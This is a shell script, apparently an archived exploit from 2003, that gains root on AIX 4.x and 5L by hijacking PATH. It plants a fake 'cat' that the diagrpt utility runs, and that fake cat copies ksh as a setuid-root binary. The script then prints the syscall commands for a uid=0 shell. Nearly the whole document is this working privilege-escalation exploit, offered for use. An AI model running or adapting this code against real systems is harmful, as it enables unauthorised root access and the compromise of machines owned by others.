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2005-02-12
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52 lines
#!/bin/sh
# FileName: x_diagrpt.sh
# Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell.
# Tested : on Aix4.3.3 & Aix5.1.
# Author : watercloud@xfocus.org
# Site : www.xfocus.org www.xfocus.net
# Date : 2003-5-23
# Announce: use as your owner risk!
#
# Note :
# It does not work on all versions of tsm command.
# Use this command to test if your version can exploit or not :
# bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat
# diagrpt.cat
# cat %s <--- here ! have the bug !!! can exploit!
#
O_DIR=`/bin/pwd`
cd /tmp ; mkdir .ex$$ ; cd .ex$$
PATH=/tmp/.ex$$:$PATH ; export PATH
/bin/cat >cat<<EOF
#!/bin/ksh -p
cp /bin/ksh ./kfsh
chown root ./kfsh
chmod 777 ./kfsh
chmod u+s ./kfsh
EOF
chmod a+x cat
DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR
touch /tmp/.ex$$/diagrpt1.dat
/usr/lpp/diagnostics/bin/diagrpt -o 010101
stty echo
stty intr '^C' erase '^H' eof '^D' eol '^@'
if [ -e ./kfsh ] ;then
echo ""
echo "===================="
pwd
ls -l ./kfsh
echo "Exploit ok ! Use this command to get a uid=0 shell :"
echo '/usr/bin/syscall setreuid 0 0 \; execve "/bin/sh" '
./kfsh
else
echo ""
echo "Exploit false !!!!"
fi
cd /tmp ; /bin/rm -Rf /tmp/.ex$$ ;cd $O_DIR
#EOF